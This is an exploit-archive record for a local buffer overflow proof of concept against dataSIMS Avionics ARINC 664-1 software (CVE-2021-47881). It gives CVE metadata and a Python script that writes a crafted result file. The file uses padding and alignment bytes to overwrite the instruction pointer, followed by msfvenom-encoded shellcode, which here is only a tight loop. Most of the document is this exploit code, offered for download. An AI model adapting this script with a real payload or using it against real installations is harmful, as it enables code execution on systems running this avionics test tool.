{"exploit":{"id":"EDB-49577","name":"dataSIMS Avionics ARINC 664-1 - Local Buffer Overflow (PoC)","description":"dataSIMS Avionics ARINC 664-1 - Local Buffer Overflow (PoC)","cves":["CVE-2021-47881"],"author":"Kağan Çapar","published":"2021-02-19","platform":"windows","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/49577","path":"exploits/windows/local/49577.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-49577.py","vulnerabilities":[{"id":"CVE-2021-47881","state":"PUBLISHED","title":"dataSIMS Avionics ARINC 664-1 - Local Buffer Overflow","titleSource":"CVE Program","description":"dataSIMS Avionics ARINC 664-1 version 4.5.3 contains a local buffer overflow vulnerability that allows attackers to overwrite memory by manipulating the milstd1553result.txt file. Attackers can craft a malicious file with carefully constructed payload and alignment sections to potentially execute arbitrary code on the Windows system.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-47881","cvss":{"version":"4.0","baseScore":6.7,"severity":"medium","vectorString":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2021-47881"},"updatedAt":"2026-01-23T19:25:15.289Z","retrievedAt":"2026-11-27T02:28:27.984Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-49577.png?v=2","url":"https://exploitbin.com/exploits/EDB-49577","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-49577/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-49577/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python\n# Exploit Title: dataSIMS Avionics ARINC 664-1 - Local Buffer Overflow (PoC)\n# Exploit Author:  Kağan Çapar\n# Date: 2020-02-17\n# Vendor Homepage: https://www.ddc-web.com/\n# Software Link: https://www.ddc-web.com/en/connectivity/databus/milstd1553-1/software-1/bu-69414?partNumber=BU-69414\n# Version: 4.5.3\n# Tested On: Windows 10 Enterprise (x64)\n# about Sofware:\n# dataSIMS, an all-in-one Avionics Bus Analysis & Simulation Software Tool, provides an easy-to-use graphical interface, simplifying any MIL-STD-1553 or ARINC 429 testing effort.\n# about ARINC 664-1:\n# ARINC 664 is a multipart specification that defines an Ethernet data network for aircraft installations.\n# Part 7 of ARINC 664 defines a deterministic network, also known as Avionics Full Duplex Switched Ethernet (or AFDX®).\n\n# -*- coding: UTF-8 -*-\n\nimport struct\nimport binascii\nimport os\nimport sys\n\n#EAX : 00000000\n#EBX : 00000000\n#ECX : 42424242\n#EDX : 77B96330     ntdll.77B96330\n#EBP : 000A1328\n#ESP : 000A1308\n#ESI : 00000000\n#EDI : 00000000\n#EIP : 42424242\n#EFLAGS : 00010246\n\n#LastError : 00000000 (ERROR_SUCCESS)\n#LastStatus : C0000034 (STATUS_OBJECT_NAME_NOT_FOUND)\n#Last chance expection on 42424242 (C0000005, EXPECTION_ACCESS_VIOLATION)!\n\nfile = open(\"milstd1553result.txt\", \"w\")\njunk = \"\\x41\" * 600\nalign = \"\\x32\" * 4 + \"\\x31\" * 4\nprop = \"\\x43\" * 380\nimp = \"\\x62\\x7a\\x68\\x72\\x74\\x75\\x72\\x6c\\x75\\x32\"\nimp2 = \"\\x61\\x72\\x61\\x63\\x61\\x67\\x131\\x7a\"\n\n#EIP Overwrite junk value\noverwrite = \"\\x42\" * 4\n\n#Payload size: 29 bytes\n#Final size of py file: 160 bytes\n\n#msfvenom -p generic/tight_loop --platform windows_86 -f py -e x86/shikata_ga_nai\n\nbuf =  b\"\"\nbuf += b\"\\xda\\xc1\\xd9\\x74\\x24\\xf4\\x58\\xbb\\x0b\\x7e\\x97\\x62\\x33\"\nbuf += b\"\\xc9\\xb1\\x01\\x31\\x58\\x19\\x83\\xe8\\xfc\\x03\\x58\\x15\\xe9\"\nbuf += b\"\\x8b\\x7c\\x9c\"\n\nwin32 = junk + align + prop + imp + imp2 + overwrite + buf\n\nprint len(win32)\nfile.write(win32)\nfile.close()","sha256":"3de89f67aae55c88713734e0f1d19df93d33095621941a7cda1bc8249b7a2464","bytes":1911,"fetchedAt":"2026-11-27T13:09:29.885Z","encoding":"utf-8 (display only; download retains original bytes)"}